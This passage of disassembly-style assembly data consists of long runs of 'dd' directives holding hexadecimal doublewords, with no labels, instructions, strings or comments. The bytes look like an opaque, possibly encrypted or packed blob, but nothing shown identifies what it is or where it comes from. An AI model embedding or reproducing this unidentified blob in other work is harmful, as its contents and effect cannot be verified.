		dd 0E26607DFh, 536B56A5h, 2E3615F9h, 419D63D8h,	0F7B02FB1h
		dd 1306C1E4h, 0C09BF780h, 28735BFAh, 0E98888A0h, 2EC1C071h
		dd 0AD2CC304h, 1362E22Eh, 69A6DACAh, 3A016548h,	102956Bh
		dd 170121DFh, 85D9E908h, 48BC5B93h, 0DCE8E9C2h,	1602A7E4h
		dd 14178B1h, 0FDD76EFEh, 2A74E911h, 6727C95Eh, 0D2EE11E3h
		dd 0B9A920BAh, 3E442F50h, 0AC9C27E9h, 0D108BAC8h, 0D82DE37Ah
		dd 50B9A270h, 0AE0CC792h, 0EF0F42EBh, 8E092EECh, 0FE68383Eh
		dd 261E8CEEh, 0DB0FC245h, 0A56D1D20h, 0C659CF59h, 42D20828h
		dd 0DCE8D593h, 0F4839DDAh, 31D403BBh, 2C1F59CEh, 5C6504E6h
		dd 0C0551FE6h, 0E92AAEBDh, 389AFB96h, 7322E409h, 1A50041Bh
		dd 4917BA00h, 74B56D8Dh, 26C602F3h, 78633E37h, 1F38A494h
		dd 510D4D67h, 31B21D3h,	2855B90Eh, 0BAE008B4h, 1A336412h
		dd 8DAFCE6Ch, 0CA86EF16h, 80535AC0h, 2379403Bh,	0BF94BB01h
		dd 0EB81DC86h, 22E7972Eh, 7B5DDE0Ch, 0ACDF2DCDh, 59F0FEh
		dd 0B252C3FEh, 0CBE280B7h, 4EAC01Ch, 680804FBh,	73933D98h
		dd 818DFDF2h, 0BE5A7467h, 835B0631h, 0D3DAC304h, 56B2F713h
		dd 0C09A09FAh, 0BDC70277h, 8FF90A8h, 41489918h,	68660168h
		dd 627ECBA4h, 84457572h, 391B6804h, 0FC5531FFh,	0BD1E502Ch
		dd 0B2090315h, 226C2952h, 4E74827h, 2D6F8F8Bh, 0A4CB4C52h
		dd 59DA3565h, 0EB80EE15h, 7D76629Ah, 0EAB54D1Fh, 0AF215E17h
		dd 6CEE980Bh, 6E5095CAh, 2CD0F99Dh, 5B6858B2h, 19866695h
		dd 1B1CC2E9h, 37EFFC33h, 56BC2BCh, 1CD009FAh, 75467943h
		dd 0D8960552h, 0D1311D83h, 3C30ECECh, 0F6BAE49Eh, 254E94C4h
		dd 0B799508Ah, 0E9E302D1h, 37234ABFh, 0B549BFBDh, 0C36210D4h
		dd 882EF1F1h, 4E14DC52h, 7DE000B4h, 0F2813140h,	6BAA0AC8h
		dd 62BA29B4h, 680183ACh, 482467B5h, 0A9E45B44h,	0E3D5A156h
		dd 282FBD00h, 60463E62h, 95677DEBh, 712093A0h, 10D09D80h
		dd 97670198h, 0B9E24206h, 7157440Eh, 0C8288523h, 80A8B504h
		dd 0F8C091C5h, 0B203E9A2h, 0EE283EB4h, 0FA59C69Ch, 2DBC82A4h
		dd 0CD31EC7Eh, 8100C458h, 102DDFE3h, 53FD837h, 5B454C84h
		dd 0EB43AB29h, 844A9568h, 8E40B3FAh, 0F2F8EBE9h, 394C240Eh
		dd 0EE5859ACh, 1B88BC51h, 66570171h, 2E2018BFh,	7FACEAB0h
		dd 0C0CB5B72h, 0EB805A30h, 2D0E8E4Fh, 0E7C3E6CCh, 28403B0Ch
		dd 12B2106Eh, 3001E17Bh, 609572EDh, 1798BD03h, 3771405h
		dd 0B23BE912h, 301A525h, 762B979Ch, 2CEC0BF7h, 94DF5534h
		dd 79E925DEh, 0F3011B02h, 0A7EFC577h, 71AF2A59h, 0A2DDEB92h
		dd 0C39DF4h, 3E62CBBAh,	52291C25h, 1648C0C0h, 89B2E421h
		dd 3B1F6B5h, 32D51FE5h,	56CDEDF8h, 0E9276905h, 0E7F8C386h
		dd 0EA5744D2h, 13378AFDh, 2FE85AD5h, 2E79CEB1h,	1AB3E877h
		dd 0B9A04ECBh, 82BE3864h, 3173DB3Bh, 8DAB40F7h,	0D2588266h
		dd 0EA8B2AA0h, 0F5F34A95h, 6F01E8A7h, 0FBC80BA4h, 0AD3A398Dh
		dd 16688292h, 69737670h
		dd 339939DFh, 0B80A003Eh, 0B192690h, 1CF75013h,	529D02E8h
		dd 0A5FFF40Ch, 4E087E07h, 0C1D2564Dh, 62E67D2Bh, 0BC315F7Ah
		dd 0D6F6141Fh, 0C49304BCh, 8169B844h, 0B1E685Ch, 0B1BF1C50h
		dd 75222C6Ah, 29440140h, 61576CCDh, 173E135h, 0A6DC5A54h
		dd 0A7169CD1h, 0CD55812Bh, 7305ADEDh, 0BAB952D1h, 5FFB1400h
		dd 2531F9BAh, 7951A9BEh, 31676A5h, 0B9441B2Fh, 0BC5A82E7h
		dd 8133C07Fh, 451A0FEAh, 0CA2A6287h, 900820C6h,	3EDA60FFh
		dd 28B42C73h, 4219E92Fh, 82F48918h, 0CBCD9E1Ch,	0ACD81041h
		dd 87490F2Dh, 0DD75E6CEh, 93B804A4h, 0C26D484Bh, 137CA1D4h
		dd 4F685904h, 0F1B43BD7h, 5F2404A8h, 0F1A5454Bh, 92123C2Eh
		dd 6EA7C0BAh, 4C5EA92Bh, 0F28431BDh, 6DBB00D0h,	9061F735h
		dd 4752BF8Fh, 8CA9602h,	61DE019Eh, 0FA33193Dh, 0E0CBB45Eh
		dd 0F70070B5h, 0C3F1F27Fh, 10651368h, 0F0D2EAFh, 95B692Ch
		dd 964F50C9h, 3B684193h, 0FAA66A4Dh, 29787F00h,	0DC73BB66h
		dd 16C1DF75h, 16100A59h, 0C6B5907Bh, 74065F29h,	0DEF74E1Dh
		dd 0BF6F604h, 4AEE447Dh, 0D4C33550h, 96A02A7Bh,	49E91312h
		dd 2AF62D36h, 177A088Ah, 34E526E9h, 0BECB0529h,	0F639BA80h
		dd 0C0073FF8h, 5EFACB5Bh, 0FA9862B3h, 0FF7FFB1Dh, 0BC25E986h
		dd 267C9522h, 47AC1E09h, 0E12292h, 228253CAh, 5520478Fh
		dd 0DCF682C4h, 3F5F8EBAh, 0C062A752h, 0EEF829B1h, 0E2429511h
		dd 0E2E84974h, 0F4A73A26h, 0F73AD83h, 0A94655CBh, 6A44344Eh
		dd 0AFB121E9h, 62C5B730h, 0AD660CE8h, 3E8B9F76h, 0C226D959h
		dd 0E009B497h, 9AD54E05h, 1356FA73h, 0AE710378h, 94013BD2h
		dd 0EFECD9h, 0E0ED4EE5h, 5E268D05h, 0A6CB554Bh,	5C2D8005h
		dd 8E5F8033h, 2A0BAB4Ch, 68D559E9h, 8614FD71h, 80484F0h
		dd 56594A90h, 4217CC7h,	9B431F14h, 0C67F03CDh, 0F2BAF9ACh
		dd 0B0CF3AD9h, 7F728E17h, 0FB72B7D1h, 7845FEB5h, 0EE4FD7E9h
		dd 43C4DEF8h, 0C2290458h, 0C237E2BEh, 0E49690E9h, 216B2F5Bh
		dd 24EE9B28h, 0EE816299h, 5DD5A45Dh, 10B3F3ABh,	825EC00Bh
		dd 91404B96h, 0CC270AD5h, 0EBB85F17h, 0AB02F7C7h, 22E96747h
		dd 68F2C8AAh, 975B9F2h,	1B105A1Fh, 270A0C80h, 9DDAF720h
		dd 0F589D00h, 4031E92Dh, 0FDA2438Bh, 655BA46Bh,	0C86F883Dh
		dd 195D1BD5h, 7EE3856Fh, 6CC12020h, 0C25F5A38h,	74D14D21h
		dd 55DC153Ch, 5257816h,	5D805AABh, 0BD033DEDh, 61E5434Dh
		dd 2E5D0DD7h, 849A79B6h, 53574960h, 4DD8BB1Ch, 0CAC160D6h
		dd 737B38FCh, 0C508387h, 0C7886263h, 565C0BCCh,	8FD2960h
		dd 1C35083Ch, 0D89453EBh, 3505BEE1h, 978405Ah, 91215C6h
		dd 71306953h, 0B284E37Dh, 0BCD70ADDh, 0ED085B18h, 3C54DE68h
		dd 26B25DD8h, 0DB7FE4AAh, 0B65EC4AFh, 0BA6800A1h, 0E9016D77h
		dd 0D38660D2h, 94B808C2h, 32785058h, 0FFDA725Ah, 0E8C1BE9Bh
		dd 1CC2653h, 554518D0h,	7A748EE9h, 0B551125Bh, 0CD5208D4h
		dd 1B0C802Ch, 0F8401E32h, 32F74F69h, 0D27D664Eh, 0BE9F259Dh
		dd 5CEB4FFEh, 71370DFh,	0C4280148h, 6601F87Bh, 7857A868h
		dd 4A38357h, 2CF081D8h,	0DD46E9D1h, 2DB59064h, 4A48EB50h
		dd 0D1808E9Ah, 1DA990E3h, 0D40699CBh, 0EA01D473h, 2108A148h
		dd 0B19C78F3h, 892C6EBh, 0F24AFE08h, 66A5E50Bh,	0B32D0511h
		dd 0C0775643h, 18419A95h, 49202Dh, 2CE61789h, 3A03BDEEh
		dd 9980CC35h, 0A4E6823h, 3F1031E6h, 0AFB84EDCh,	0DD0FE95Ah
		dd 0B90220A0h, 87912962h, 0D7BCA5E0h, 8A2504EFh, 4CDDF377h
		dd 0F0E1F01h, 515E5F53h, 0F4A1B936h, 0B0327280h, 0CF142061h
		dd 0D9933896h, 0CB2816C0h, 50590B66h, 96A2B7B4h, 0EBD4B8E8h
		dd 31A355Bh, 2844FB69h,	0F6988F7Ah, 319F4ECFh, 3676AB51h
		dd 8CED021Ch, 0F515EF6Bh, 88030D8h, 4D905759h, 5F138B59h
		dd 65F1C5ECh, 9EE04BDh,	69545550h, 714877C0h, 0E95F0721h
		dd 0B01021Dh, 0D0404742h, 60FFE3DBh, 0F859532Bh, 2DB13BA2h
		dd 45225730h, 0C571CDA8h, 68001224h, 60A533Eh, 165EB55Eh
		dd 39113D07h, 72B8E9A3h, 0C968122Eh, 0C56EEC1Fh, 92B3A598h
		dd 612C33Dh, 6B99FEBDh,	84B2FC3Eh, 9AAD7F7h, 67C07F6Fh
		dd 7B98425Eh, 340BA7B0h, 58DA2129h, 282D7152h, 7B9B3F01h
		dd 54080B6h, 9D77D70Eh,	916DF3Ah, 34EE1553h, 49F2C821h
		dd 50C5E044h, 0A00C8358h, 0ECAE8DD1h, 0CEE91385h, 0DC01E563h
		dd 0EEAC8FD1h, 36C70A49h, 9FFDEC56h, 0A9C4A95Bh, 317E09FFh
		dd 1761CB12h, 0E7F26A93h, 8651578Ch, 0A45EF564h, 22178C10h
		dd 72D2AD6Ah, 0DB580826h, 3842E3C8h, 0BBA9A823h, 0B60DF518h
		dd 0F4880EE6h, 7975A66h, 0B7C19A6h, 2761C57Dh, 98BAC4D6h
		dd 0BE0ABC2Ch, 61547BD9h, 6DA02A60h, 20B24287h,	0F389AC56h
		dd 0F31A5708h, 0EC69F079h, 3FAC203Ch, 4C478F31h, 417EBBF6h
		dd 0D4038CC9h, 39F87A0Bh, 0E409EFC0h, 1505F2Dh,	404A5BCBh
		dd 0FF9245F3h, 41E672C8h, 25C620D0h, 889383B5h,	0E434EBEBh
		dd 0F817A4EDh, 1747A3D5h, 33BF4ACDh, 0F049122h,	7AE768E0h
		dd 96B672D8h, 0CF310E8Ah, 0F4B02BE5h, 3B02AABBh, 5680248h
		dd 45807406h, 33F2BB5Bh, 9629640h, 93CC427h, 5F6ABDDh
		dd 0BFC715Eh, 0F689B601h, 0ECCEFED6h, 16D6D8BDh, 0DB90C4B8h
		dd 3A13BA4Ah, 7A53B082h, 0A460EBAAh, 401954DDh,	7F2158B0h
		dd 889C353Fh, 20A8A8EFh, 12B2FCBh, 0D2ADD6CFh, 0F3292BECh
		dd 1EC32CCAh, 2C210B76h, 0B0C8E475h, 6804C2C9h,	3CD40DD1h
		dd 187462h, 571E4ABAh, 0C5387060h, 0B86F7845h, 46A704E3h
		dd 0FF21318Ah, 0E3CA830Eh, 0B777203Ch, 5A40AD90h, 0CE549F6Ah
		dd 790CE984h, 938BC9AAh, 1C030206h, 0B53D6A38h,	220B514h
		dd 4BB825F3h, 8C23F74Eh, 0D0A195EEh, 79D9384Fh,	12CCE300h
		dd 0D3F71178h, 0D2EB54C1h, 21F26E9h, 82304728h,	1257BA9Eh
		dd 8C198423h, 0F2DDC016h, 462CE19Bh, 0A4B918FBh, 0E22524FDh
		dd 0BE9EF54Ah, 62A2D99Dh, 0B450D6E9h, 0D8FC7EBDh, 0C65BA2E9h
		dd 2F4DFD33h, 1EF25CA3h, 47A48A2Fh, 3502915Bh, 45AB2E9h
		dd 0C8A05D8Dh, 3E6E57BCh, 10E95E13h, 0FD68E744h, 25FBE3AEh
		dd 9707D06Ah, 0D6C226BBh, 3E756941h, 2BE45F24h,	54E44006h
		dd 4A404390h, 584F3EBBh, 0ECBD5301h, 0FC20EF1Eh, 41C2D02Ah
		dd 0A01BCE68h, 453AB83Dh, 0BC204EBEh, 3507679Bh, 532F3FC0h
		dd 0B5EF24E9h, 7E1F42F8h, 80AA345Dh, 25EBEABh, 6850F352h
		dd 2F515D70h, 661CB32Ch, 0E94506C1h, 4B8148D7h,	803EA0C9h
		dd 3422867Fh, 206C097Ch, 0D126B3DEh, 66000BE1h,	2D2F671Eh
		dd 250302B4h, 99B2E964h, 1492A777h, 0C24A8h, 50C7412Ah
		dd 880FE181h, 25717918h, 9886F987h, 0AEE91308h,	8F20BEE5h
		dd 7CE313EDh, 0BD93341Dh, 54988448h, 7706B0E1h,	1521C768h
		dd 525D0816h, 0FA49E6BCh, 5AB93210h, 1E8400C1h,	4EDA8B7Ah
		dd 528240F5h, 30C31BFBh, 5DC618E0h, 0ABF0CAA6h,	52257807h
		dd 7E3BE958h, 0D7F6276Ah, 22A86CC5h, 0EECB802h,	0E1F5F7E5h
		dd 2E3C3D09h, 2ED93D4Ah, 0D917F9A9h, 0D30DEDB8h, 7F08B413h
		dd 3CBF020Dh, 21406026h, 26AC178Eh, 0B3222942h,	80E2D005h
		dd 8909A8C2h, 42C75478h, 9B08752Eh, 0EED80E0Bh,	450B55Eh
		dd 0C2E4A596h, 0EC4BBFE0h, 20516156h, 2F6E8E68h, 260FC8E6h
		dd 6F9E1096h, 8A20C4DBh, 0FCA5BDB4h, 0F407D8DBh, 6C02B09Ah
		dd 0D16B660Fh, 97AFCEAh
		dd 8132BD8h, 82775DBAh,	5CE67ECh, 2B1EFF28h, 3BC4CD7h
		dd 0E9E272C5h, 61044A76h, 31055CC7h, 945EDCFEh,	75447A41h
		dd 4B03960Fh, 29C160AFh, 0F4B8B8D5h, 23061E2Bh,	8400655Ah
		dd 17C15E4Eh, 663CC1B8h, 0C440AF1Fh, 0BB6812C3h, 50BF3010h
		dd 5E95585Dh, 754E8217h, 42D708DCh, 974C7589h, 4D78A50Dh
		dd 17C0660Ch, 6E504053h, 0E30F2126h, 0D62CF40Ah, 0CDD0046Fh
		dd 0F07D0BA9h, 0EFB697Ah, 8293AA87h, 7A7AEC4Fh,	0DFF82402h
		dd 0FAF589D2h, 0CEE91026h, 30FE5AE7h, 60E368D9h, 4711949Bh
		dd 0D681004Bh, 8B3B7048h, 55361FCFh, 52FF93C3h,	5ED2B723h
		dd 0E7B07AE8h, 1709D26Ch, 6BD7FCE9h, 9748B9ADh,	0A9052C32h
		dd 0B86E8B20h, 39885AB4h, 2962952Ah, 0C231597Dh, 654821E9h
		dd 2B167BBAh, 610111C4h, 328C64F6h, 41FDFC7Bh, 78548808h
		dd 0AE5216FBh, 75D3DD09h, 599F4F1Eh, 612362D8h,	7E10D729h
		dd 1FC41AEBh, 38D83B83h, 0B141A4Bh, 3B40516Bh, 0D3C0A9CAh
		dd 0E08C03F1h, 0F44A9F9Ah, 69DA9BC1h, 38AD1071h, 37B84Ah
		dd 0BF57EDD1h, 0A5977E3h, 1D9B682Bh, 0B6FCAB4h,	0A97839DAh
		dd 5F3FFDE6h, 43EFA457h, 5DC3BECFh, 131C4709h, 0B9B68290h
		dd 67961890h, 5DE853h, 887A055Bh, 0C601BC64h, 0F70CB2B7h
		dd 0F62D13CFh, 0CB3762F8h, 0C14AF9D6h, 689E042Ch, 0A48D2553h
		dd 4B57EB0Ch, 93F7D8h, 7826F0BFh, 0AC78173h, 0CB90DFA5h
		dd 3784199Ah, 0D1CDA51Ch, 2D581C3Ch, 96D0BAFDh,	0FC681653h
		dd 0DE6EE830h, 4900B1AEh, 387ECE81h, 0E67B5CAEh, 1DE6F350h
		dd 0A8845E10h, 229F0FC9h, 0E78025ACh, 545C323Ch, 75DFF72Dh
		dd 13E90890h, 8BA4905Bh, 4E79F082h, 0CF70ACBCh,	0F4A74457h
		dd 0FB17CCFBh, 0C9130513h, 9506CC6h, 465E406Fh,	46D625Fh
		dd 1C05808h, 7F2F7B78h,	55FE7352h, 0A03A08BAh, 0E44F98C0h
		dd 32B934E5h, 8C12C48Eh, 0C94DF2D6h, 5BA7B153h,	4137CF30h
		dd 60F17ADDh, 804F856Ah, 932E1A22h, 5C1602Ch, 2F1C8538h
		dd 1EEA02A9h, 0F1124544h, 0DB8404EAh, 0D9010345h, 7F599A8Bh
		dd 3820D296h, 338B8069h, 0D2DBBFE5h, 0C296D749h, 0DE328698h
		dd 89300C9Bh, 3898009Eh, 150C328h, 0D4F67EB4h, 32C090E9h
		dd 2B37099Fh, 81BAAB8Bh, 2EAE684Bh, 1E60327Fh, 4ACAC4C8h
		dd 2EAC016h, 468CA01h, 0EC202CE4h, 0D0E2D2D0h, 91165A53h
		dd 6195248h, 3AEB68D2h,	829D7E9Ch, 6CDCC082h, 0F00783C4h
		dd 3EC685Eh, 82ED7D09h,	66E6ED8Bh, 4D580B28h, 69C054F9h
		dd 42EE255Ch, 0B709F3ECh, 8097F272h, 127664A1h,	5FEAB87Fh
		dd 10D18A8Ch, 5B0A28E1h, 1090EE89h, 0DF291431h,	44DC05F3h
		dd 0EB007967h, 0B1D12D07h, 0AAC85BE2h, 0D2537C04h, 0E3568012h
		dd 84C14305h, 0B5A04724h, 11CF06Bh, 0DFD4FD59h,	5A38ECD8h
		dd 3EF2FC1h, 17E2BCC0h,	0C083933h, 3A53A826h, 0D2E91550h
		dd 79945E1Eh, 0EE515F13h, 0E90D23DAh, 0D10B07CDh, 5F729EB4h
		dd 0CB788CCh, 0E8833D40h, 6F772582h, 7940384Ch,	47B761C9h
		dd 0D3551FDEh, 3934C7D7h, 0B8BB65Eh, 0B46F0428h, 0F2680393h
		dd 8448937Dh, 0EBA20052h, 2949E85Bh, 24321EDh, 6428908h
		dd 503A780h, 0E7177B22h, 2CFF01A6h, 0A032E9BAh,	6C5B6CB3h
		dd 0D534A298h, 9AB97EC8h, 0B73390Bh, 0F8360931h, 0ABAD0953h
		dd 978F341h, 4A76050Eh,	0F5296BDAh, 7C904801h, 58E0C665h
		dd 70187A42h, 0A30E4523h, 0EE042553h, 5E131254h, 86015112h
		dd 6E66171Ch, 0BBE0847Fh, 6A4819B2h, 96BAAE60h,	784EB934h
		dd 7C040FAh, 7C30CA81h,	76192725h, 85106E0h, 0EF5EDC10h
		dd 0A6FD5695h, 0A9AF7B15h, 0C778F525h, 586C039Ch, 79659D07h
		dd 3157129Fh, 5ECD8B09h, 8C98233Fh, 0BF308276h,	71351E09h
		dd 93E0068h, 0E34F9056h, 0F8A4F130h, 0E9694086h, 81C3A220h
		dd 7268E0FDh, 0C0AEC10h, 0B2DE268h, 0DB2B4410h,	0BDCA285Ah
		dd 2C7FFF5Ch, 0C1EA3069h, 0F6EF414Ah, 5070540h,	350028B1h
		dd 77A0A4FBh, 495225E9h, 6A6408D4h, 0AF701E4h, 5F7F65FBh
		dd 0E19BFC8h, 3FE66188h, 0B187CCBh, 5DCA3D11h, 1C1A0D17h
		dd 0CC70CCEBh, 774E691Fh, 0C073F8E8h, 37476B2Eh, 1763E905h
		dd 4984DAEh, 0A4269DFDh, 17FDD8Bh, 0C46E4D61h, 0ED14F07Bh
		dd 0D9A19B01h, 9AE9EF29h, 72051124h, 3598254Eh,	0FC2734C5h
		dd 0E3C25BC6h, 45D5F701h, 162006ACh, 0FA1A65F5h, 0FE023B92h
		dd 495B3E82h, 2790819Eh, 8B1E94C6h, 0AEDC34F3h,	0FAEF1770h
		dd 5A1A0F57h, 0BDA5F821h, 4D6C03B6h, 0FEFCD91Dh, 83FA7216h
		dd 7A8E1ACh, 0E912616Dh, 8AA7D0B9h, 7C4C2F7Bh, 0DE95EF52h
		dd 2BC2513Bh, 76BCCB94h, 37E02010h, 7C952F5Eh, 0E708AACh
		dd 0F4045AD5h, 25DDE80Fh, 7A225A16h, 64DE9777h,	853600Ch
		dd 61B709F1h, 5F8EF728h, 0E7C0D760h, 0E0EBF607h, 0E9242FC7h
		dd 5A921AACh, 0C3D8EFFh, 90B15FE9h, 2EA09D01h, 4236043Eh
		dd 1A4E5AFCh, 0CC1EE1D3h, 0AB3BB00h, 0D12D6193h, 56C09E3h
		dd 5908CA8h, 2066BEh, 0F6811DFAh, 62070F3Ah, 8B5A5626h
		dd 0B00EA16h, 4A0CE1E2h, 2458CA26h, 0B68558B4h,	7C6ACEB7h
		dd 0A5452559h, 0F213AAC5h, 596C42AAh, 8CD677FFh, 3543E2h
		dd 7A3C44B9h, 0C107F9B8h, 7C0B1D1Eh, 0DBB5E963h, 0EB82ED1Ah
		dd 7C4EFDCBh, 25C22949h, 9842C386h, 338008EBh, 60C17F3h
		dd 5211E3B0h, 3347B22Eh, 0D2F6D404h, 383609BBh,	6912D84h
		dd 5E26C0FEh, 3CF2ED3Ch, 0CB80522Bh, 7C8B7547h,	943BB4D5h
		dd 0ECB9C2A6h, 85778F20h, 0FE015A1Fh, 2CB52145h, 0F8E6AFC9h
		dd 72D6B5DBh, 4A706858h, 0B8AF3116h, 0BBE62F76h, 0BAD2C5D6h
		dd 53C059CAh, 1211A4BBh, 73E92213h, 7650FE82h, 0EA5845F0h
		dd 14CC7AC1h, 82EAE32Fh, 0FD57B551h, 0B353C780h, 0CB288079h
		dd 350C33Bh, 12CC0DC9h,	0C4F60CD3h, 0F6304606h,	0C1E90C82h
		dd 9EEA94Dh, 70AD1F3Ch,	32023002h, 0F686B600h, 1F8073D6h
		dd 97F788EEh, 1AD2AA94h, 25BFF6D4h, 68C30175h, 0A7205455h
		dd 20B5A457h, 0D8B8C470h, 29562009h, 0D5C0FF44h, 0DE052D54h
		dd 0C0E0E91Eh, 0C9673CAEh, 0B0598B40h, 7B2A4454h, 0D3B5D19Ah
		dd 6E9E2A2h, 0CDD8E87Fh, 3C1C2F48h, 449189D1h, 0DB481190h
		dd 0C4C0F35Fh, 6ABC8A4Eh, 1B3EE6C6h, 96AF3B2Dh,	83429BD7h
		dd 2B935D8Dh, 4829809Dh, 304C6222h, 0EF803D6h, 0B6012DCFh
		dd 4008831Ch, 30E9141Ch, 0C3EF9F3Ah, 0E0282B1Eh, 741C716h
		dd 0F04AE638h, 0E117A48Ah, 82BC03DEh, 877B804Bh, 60BF250Eh
		dd 98094711h, 72E91305h, 2DBAE9F4h, 56B7DC4Eh, 89D9E927h
		dd 346D4706h, 1BA5C3ECh, 3DCE275Eh, 0B2D0E908h,	70895C0Fh
		dd 5BEDD710h, 8D2E3F9h,	0C9206221h, 5AE2C207h, 0F2F779A9h
		dd 810EA85h, 22C17FEBh,	4D555CD2h, 53C4FE38h, 96F1C051h
		dd 2B189730h, 310B92B9h, 895D25E9h, 290F96FBh, 656F84DAh
		dd 7C123EE9h, 42DFD9DEh, 7DD14160h, 68041C29h, 0B8F6206Eh
		dd 8D67FE4Bh, 5094EF14h, 90FFA3ABh, 2F792A92h, 25F7D997h
		dd 3B7F6789h, 1B92E979h, 0D377726Ah, 0C852B97Eh, 5D906848h
		dd 0D787DC15h, 0EE05257Dh, 0DCBACEC2h, 0B9383F82h, 1BDD82Ch
		dd 0C3CE80DBh, 0E9856AFEh, 661F4B09h, 0F920FEAh, 0F9A640D7h
		dd 0C25A1BB7h, 604EF3ECh, 3769F6C6h, 0E917BE04h, 0EDB2D921h
		dd 143FAA84h, 3C50060h,	0DD317EB6h, 0C06EE75Bh,	89E9D891h
		dd 829FE897h, 41382E02h
		dd 0F58182AAh, 0D75A3Ch, 5CF4CD8Dh, 22DE9507h, 4D011BA4h
		dd 11D197Ah, 1E4450AFh,	97F41A20h, 88C48509h, 9D4A7437h
		dd 4C14ADD6h, 40724BB2h, 2B7EB331h, 5DC8082Dh, 5365DEA2h
		dd 0F3B7CB94h, 0D33C0CE4h, 618C6FFh, 0F750F909h, 1EF6B75Eh
		dd 0F1AFF21Dh, 0D7DCA760h, 768A443h, 42B9C73Dh,	6B01D780h
		dd 98BEE704h, 7A746514h, 688F5D54h, 0A9F38A5Ah,	9F5A604Fh
		dd 0A204DB85h, 34CB6852h, 0F95B05E2h, 75040548h, 4AF860DDh
		dd 0FF560740h, 5A026E83h, 0F59F7023h, 5E0709C2h, 59E9E457h
		dd 0A65AC719h, 1BDC4489h, 59227513h, 62D000EEh,	4CE9150Ah
		dd 0B0705C5Ah, 5BB850h,	2D567332h, 533D7993h, 391E27EAh
		dd 0F89E1E4Bh, 100E593h, 0BC77B8BBh, 0E9E79833h, 569442Eh
		dd 0B40AE72h, 6D7A0B30h, 172CF921h, 0A653F609h,	0D840B682h
		dd 6862705Ch, 0F87E29BEh, 0EDB9C617h, 2553F4Ch,	0B62E2A21h
		dd 0DD5B8B3Ah, 5A17BE45h, 0C7FE17C0h, 0B2EF5CC0h, 6016475h
		dd 0D187EA43h, 68D8811Eh, 0E34C56A4h, 80290BB3h, 0B5816CEBh
		dd 550AE996h, 10A4E3B3h, 0FF58C384h, 0C375800h,	5E1C129h
		dd 9FFC12C1h, 8931DFFAh, 5446807Fh, 745F1F1Ch, 0C34E36E0h
		dd 4005C5EAh, 0F6050E86h, 7B871FBAh, 0EC38D4FAh, 3B650F92h
		dd 7EE96233h, 97CFCCBCh, 484E587Eh, 0D7F709ABh,	836C6300h
		dd 6BC34B8h, 5AFC6805h,	16B2E8Dh, 0FEE95DB3h, 8456AAFh
		dd 124040D5h, 5A3F77BDh, 5B46B876h, 0A570BB1Eh,	0A8104868h
		dd 99230DB7h, 438E0333h, 69DA26ABh, 55130977h, 0CF25A196h
		dd 428B51C3h, 0B50302D9h, 0FDF0B98Bh, 88676A6h,	27248A09h
		dd 7F6C863Eh, 1C3E6D7Dh, 0FD915C76h, 269E290h, 53C75BAh
		dd 88385C77h, 0BD011A27h, 7BA95FF8h, 28264E2Eh,	0AAB298CEh
		dd 0C10F074h, 3191093h,	7C7A2D00h, 0F0290E80h, 0F2070551h
		dd 2780107Dh, 9E93B579h, 7DD0F9C7h, 587EBE02h, 0F631D12Ah
		dd 8CC40C25h, 3702E795h, 816828E8h, 805C795Bh, 2C720BFEh
		dd 4F2F972Dh, 1420DCEEh, 0E9160705h, 0BE65523Dh, 91526639h
		dd 64A1875Fh, 279F451Bh, 1DEE0A8Fh, 0B28BFB56h,	7B91257Eh
		dd 0B627AD52h, 9D166E20h, 0B09E69A2h, 59635607h, 800C0B54h
		dd 0BB248C3h, 0ABE3AE85h, 106F156h, 0B07DF292h,	211B09BCh
		dd 30538934h, 0F87AE904h, 0C6ACF2EEh, 6DBDCA1h,	545F77EFh
		dd 0B10CC81Dh, 0C363818h, 752001Ah, 0E9F83169h,	0ABD3575Bh
		dd 0DEBBA816h, 0B3E9164Dh, 1566149h, 57C342A6h,	0F60A603Bh
		dd 3C0405B7h, 4AEEE923h, 7CC580BCh, 5C3AA3DBh, 925C0171h
		dd 0E3E968BBh, 0A35EEF2Ch, 37824F8Fh, 0A4090BD5h, 93087B51h
		dd 5FF7179Bh, 123F90EDh, 8AF837BAh, 5016885Ah, 26766800h
		dd 558656Bh, 94D9138Eh,	0F817AA9Ah, 0E65F6FFCh,	3CE04888h
		dd 0D813AD1Eh, 380A0B68h, 48F7649Ch, 2F2F2BD3h,	3A7C17C9h
		dd 29EF281h, 3C876604h,	709D0FBFh, 6D6FA02Dh, 0E8291F0Ah
		dd 5D1E0705h, 31A8D017h, 73706A09h, 0B3FBFF6h, 41912CA5h
		dd 4C835A58h, 14B5784Eh, 505D4225h, 154F0B15h, 2A803DB8h
		dd 67BA0ADBh, 0E0E0998h, 0AB94BC06h, 0AD327C2Fh, 223C87DFh
		dd 0F1535143h, 7C24CDABh, 5FD398E8h, 7B65E78Dh,	0A0D5814Fh
		dd 4FB1CBA8h, 0D4312B63h, 0BA692E64h, 148D5F02h, 0BB6201F8h
		dd 29C5A951h, 0B32913AFh, 59C8134Bh, 572EC00Bh,	6C907E96h
		dd 3D40195Ah, 12840FD0h, 7CDF1DB8h, 0E699EAFBh,	2D5806C1h
		dd 163446E7h, 58C7C84Ch, 121E0A87h, 0C30B8043h,	0CB4E56DDh
		dd 2E842FE0h, 158F10Ch,	40A328CFh, 0BBEC5BD1h, 0B7F9F09Fh
		dd 476A8CD1h, 2BABA512h, 78E909C0h, 4F66DC57h, 58E7D506h
		dd 0B5F52C2Ch, 21EC9D16h, 0C018D25Dh, 424AADC1h, 4AFCBB48h
		dd 4D24FBE8h, 2F6E094Dh, 0BF38257h, 558209CFh, 96928B80h
		dd 5009F44h, 39AF6F44h,	0A02DF829h, 68D4E907h, 269784E5h
		dd 2CA702D3h, 0E8403CC0h, 0CF0A6C10h, 8748E908h, 46605199h
		dd 5E274179h, 0B4680F01h, 0C5333E40h, 5A873B33h, 0E3CE8C3Bh
		dd 9396CE70h, 8A838FCCh, 72150FDEh, 98835EBDh, 0B1AD5B60h
		dd 0D97FE649h, 0D4F44947h, 0F221E6E6h, 4F9AA0CDh, 0F4BF2DDBh
		dd 9B20C9D0h, 0BE5C4BD8h, 0AD3B4939h, 136E4C4Dh, 0CCFBEF7Bh
		dd 3C4A15B5h, 5128C79Ah, 3FB67EAAh, 2CCE431Bh, 68025763h
		dd 16F5171Ah, 30705Fh, 3EEE4EF0h, 237015B9h, 0AC1207E3h
		dd 0D37D68CAh, 0A7209F43h, 0B84CEFC3h, 0DCC0035Ah, 930A6468h
		dd 28FD02A5h, 24626235h, 59EEC55h, 3F75FE25h, 205A811Eh
		dd 74D92AF2h, 53188E40h, 29052D32h, 82043F4h, 22D5F09Fh
		dd 5AA0D985h, 0DC97F644h, 0E7D68E8Fh, 0D299BE17h, 9CE205F0h
